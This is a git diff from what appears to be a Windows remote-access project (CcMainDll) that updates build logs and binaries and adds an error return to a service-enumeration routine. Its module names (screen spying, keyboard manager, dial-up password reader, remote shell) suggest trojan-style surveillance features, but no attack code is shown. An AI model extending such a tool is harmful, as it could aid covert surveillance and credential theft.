diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo
index 506a00c..6ed53fd 100644
Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ
diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
index 1c4fba2..fae17d0 100644
--- a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
+++ b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
@@ -1,38 +1 @@
-f:\myapp\ccremote\bin\server\ccmaindll.lib
-f:\myapp\ccremote\bin\server\ccmaindll.exp
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\servermanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
-f:\myapp\ccremote\bin\server\ccmaindll.ilk
-f:\myapp\ccremote\bin\server\ccmaindll.dll
-f:\myapp\ccremote\bin\server\ccmaindll.pdb
 f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
-f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log
index 1806001..1cb3c33 100644
--- a/CcMainDll/CcMainDll/Debug/CcMainDll.log
+++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log
@@ -108,7 +108,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018:
 f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
 f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
   ServerManager.cpp
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(290): warning C4102: “defaute”: 未引用的标签
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
   ShellManager.cpp
 f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
   d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
diff --git a/CcMainDll/CcMainDll/common/ServerManager.cpp b/CcMainDll/CcMainDll/common/ServerManager.cpp
index 8e36204..25c3e15 100644
--- a/CcMainDll/CcMainDll/common/ServerManager.cpp
+++ b/CcMainDll/CcMainDll/common/ServerManager.cpp
@@ -40,6 +40,7 @@ LPBYTE CServerManager::getServerList()
 	if((schSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
 			{
 				OutputDebugString("OpenSCManager Error\n");
+				return NULL;
 			}
 	lpServices = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR, 64*1024);        // Allocate Ram 
 
diff --git a/bin/server/CcMainDll.dll b/bin/server/CcMainDll.dll
index adaa1ae..4f2af57 100644
Binary files a/bin/server/CcMainDll.dll and b/bin/server/CcMainDll.dll differ